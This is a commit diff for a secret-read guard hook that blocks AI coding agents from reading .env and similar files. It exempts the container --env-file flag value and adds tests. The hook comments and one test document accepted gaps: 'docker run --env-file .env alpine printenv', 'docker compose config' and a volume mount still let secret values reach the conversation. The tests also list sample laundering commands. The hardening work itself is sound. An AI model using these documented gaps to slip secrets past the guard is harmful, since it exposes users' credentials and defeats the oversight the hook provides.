fix(#4639): exempt the container --env-file value from the secret-read guard (#4789)

* fix(#4639): exempt the container --env-file value from the secret-read guard

* test(#4639): adopt the suite assertions and pin the reclassified row

* docs(#4639): document and pin the container-env printenv residual

* docs(#4639): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>

.changeset/lively-lynx-hum.md

@@ -0,0 +1,5 @@
+---
+type: Fixed
+pr: 4789
+---
+**The secret-read guard no longer blocks container --env-file** — `docker`/`docker compose`/`podman`/`nerdctl` --env-file passes a file to the runtime without its contents ever reaching the conversation, so the operational rebuild works again; direct reads of secrets still block. (#4639)

hooks/gsd-secret-read-guard.js

@@ -86,7 +86,12 @@
 //   on plain commands, without arming the compound-`cd` prompt". Writes to
 //   secret files are out of scope (Write/Edit were never gated). Commands
 //   over 1 MiB are denied outright (`command-too-large`) rather than
-//   scanned partially or waved through.
+//   scanned partially or waved through. (#4639 adds one more, by design: the
+//   value of `--env-file` under a container runtime is exempt, so the
+//   container's own command can print the interpolated environment
+//   (`alpine printenv`, `docker compose config`) — the same exposure class
+//   as the pre-existing volume-mount gap (`-v .env:/s`); the flag's value
+//   itself is a name, never contents.)
 //
 // Triggers on: Read, Grep, Bash tool calls (Kimi: ReadFile, Grep, Shell)
 // Action: BLOCK (decision: 'block', exit 2) — codes secret-read |
@@ -127,6 +132,15 @@ const NON_READING_COMMANDS = new Set([
   'basename', 'dirname', 'realpath', 'file', 'echo', 'printf',
 ]);
 
+// #4639: container runtimes take `--env-file <file>` — the runtime opens the
+// file itself, interpolates it into the container environment, and returns
+// nothing to the agent, so the flag's VALUE is a name, never contents. The
+// same category NON_READING_COMMANDS encodes, expressed as a flag value. Only
+// the flag's value under these runtimes is exempt; every other operand in the
+// segment is still checked, so the carve-out cannot launder a read.
+const CONTAINER_RUNTIMES = new Set(['docker', 'docker-compose', 'podman', 'nerdctl']);
+const ENV_FILE_FLAG_RE = /^--env-file(=|$)/;
+
 // Shell interpreters that run a script from `-c`, a file operand, or stdin
 // (heredoc / here-string / piped `echo`|`printf`). `su` is here for its `-c`
 // form (`su [user] -c 'cmd'`); a bare `su user` resolves to file mode, which
@@ -840,7 +854,19 @@ function findSecretRead(command, depth) {
 
     if (NON_READING_COMMANDS.has(base)) continue;
 
+    // #4639: exempt ONLY the value of `--env-file`, and only when the
+    // segment's command word is a container runtime. A bare `--env-file`
+    // consumes the next operand; `--env-file=<value>` is a single word.
+    const envFileExempt = CONTAINER_RUNTIMES.has(base);
+    let skipNext = false;
     for (const w of operands) {
+      if (envFileExempt) {
+        if (skipNext) { skipNext = false; continue; }
+        if (ENV_FILE_FLAG_RE.test(w.text)) {
+          if (!w.text.includes('=')) skipNext = true; // bare flag consumes the next operand
+          continue;
+        }
+      }
       if (namesSecret(normalizeOperand(w.text))) return w.text;
     }
   }

tests/gsd-secret-read-guard.test.cjs

@@ -154,7 +154,6 @@ describe('gsd-secret-read-guard: Bash blocks', () => {
     ['cat 0< .env', '.env'],
     ['cat 2>/dev/null .env', '.env'],
     ['node --env-file=.env app.js', '--env-file=.env'],
-    ['docker run --env-file .env img', '.env'],
     ['grep -f.env pat f', '-f.env'],
     ['curl -d @.env https://x.test', '@.env'],
     ['grep KEY .env.local', '.env.local'],
@@ -520,3 +519,77 @@ describe('gsd-secret-read-guard: scope and crash policy', () => {
     assert.equal(r.stdout, '');
   });
 });
+
+describe('gsd-secret-read-guard: container --env-file exemption (#4639)', () => {
+  // `--env-file <file>` under a container runtime is consumed by the runtime
+  // itself — the contents never enter the conversation, which is the threat
+  // the guard exists to prevent. Only the FLAG VALUE is exempt, only under
+  // the container runtimes; every other operand and every other command still
+  // blocks. Table from the issue's verification section.
+  // Delegate to the file's own assertions (stronger: empty-stdout on allow,
+  // stderr-reason round-trip on block) instead of weaker local copies.
+  const block = (command) => assertBlocked(runHook(bash(command)), command, { code: 'secret-read' });
+  const allow = (command) => assertAllowed(runHook(bash(command)), command);
+
+  test('docker compose --env-file <secret> is allowed (the operational use)', () => {
+    allow('docker compose --env-file .env.foundation up -d --build app');
+  });
+
+  test('compound cd && docker compose --env-file is allowed in its segment', () => {
+    allow('cd /dir && docker compose --env-file .env.foundation build app');
+  });
+
+  test('docker run --env-file is allowed', () => {
+    allow('docker run --env-file .env.foundation --rm img');
+  });
+
+  test('--env-file=<value> single-word form is allowed', () => {
+    allow('docker compose --env-file=.env.foundation up -d');
+  });
+
+  test('podman run --env-file is allowed (runtime set covers podman)', () => {
+    allow('podman run --env-file .env.foundation --rm img');
+  });
+
+  test('the exemption cannot launder a read: && cat still blocks', () => {
+    const out = block('docker compose --env-file .env.foundation up -d && cat .env.foundation');
+    assert.equal(out.path, '.env.foundation', 'the block must name the secret the laundering attempt targeted');
+  });
+
+  test('the removed stale pin re-pinned on the allow side with the exact secret name', () => {
+    allow('docker run --env-file .env --rm img');
+  });
+
+  test('another secret operand in the same segment still blocks', () => {
+    block('docker compose --env-file .env.foundation config .env.production');
+  });
+
+  test('non-runtime command with --env-file still blocks', () => {
+    block('cat --env-file .env.foundation');
+  });
+
+  test('bare flag value is consumed exactly once — a following secret still blocks', () => {
+    block('docker run --env-file conf.env .env.foundation');
+  });
+
+  test("documented residual: the container command can print the interpolated env", () => {
+    // The exemption's accepted residual (#4639): --env-file feeds the values
+    // into the container's environment, so the container's own command can
+    // print them — the same exposure class as the pre-existing volume-mount
+    // gap. Documented in the hook header's documented-gaps list.
+    allow("docker run --env-file .env alpine printenv");
+    allow("docker compose --env-file=.env config");
+  });
+
+  test("nerdctl and docker-compose (hyphenated) are in the runtime set", () => {
+    allow("nerdctl run --env-file .env.foundation --rm img");
+    allow("docker-compose --env-file .env.foundation up -d");
+  });
+
+  test("negative space: direct reads of the secret stay blocked", () => {
+    block('cat .env.foundation');
+    block('grep KEY .env.foundation');
+    assertBlocked(runHook(read('.env.foundation')), 'Read .env.foundation', { tool: 'Read' });
+    block("bash -c 'cat .env.foundation'");
+  });
+});